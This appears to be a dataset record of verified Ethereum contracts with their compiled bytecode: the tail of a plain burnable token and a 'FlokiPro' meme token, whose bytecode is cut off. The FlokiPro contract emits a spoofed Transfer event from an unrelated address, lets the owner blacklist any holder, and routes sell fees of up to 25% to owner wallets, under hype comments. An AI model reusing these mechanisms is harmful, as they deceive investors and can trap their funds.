*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract BAR is BurnableToken {
string public constant name = "BarBarBabaJi";
string public constant symbol = "BAR";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 55000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600c81526020017f426172426172426162614a69000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6303473bc00281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f424152000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea264697066735822122032c75e9464a74957ec39b5da144d82b99933435a0f4cf3f03e4c4e86a7ec4b3264736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,675 |
0x14a16c26b5c4ee8d1ce1d9fa5e11ce5774d9e4ea | /**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// $FlokiPro
// Telegram: https://t.me/FlokiProToken
// EverRise tokenomics with the hottest meme of the moment launched on Elon's birthday
// Introducing the only coin on the blockchain that is designed to go up.
// 20%+ Slippage
// Liquidity will be locked
// Ownership will be renounced
// EverRise fork, special thanks to them!
/*
___ _ _ _ ___
/ __\ | ___ | | _(_) / _ \_ __ ___
/ _\ | |/ _ \| |/ / |/ /_)/ '__/ _ \
/ / | | (_) | <| / ___/| | | (_) |
\/ |_|\___/|_|\_\_\/ |_| \___/
*/
// Manual buybacks
// Fair Launch, no Dev Tokens. 100% LP.
// Snipers will be nuked.
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FlokiPro is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Floki Pro";
string private constant _symbol = 'FlokiPro';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600981526020017f466c6f6b692050726f0000000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f466c6f6b6950726f000000000000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffff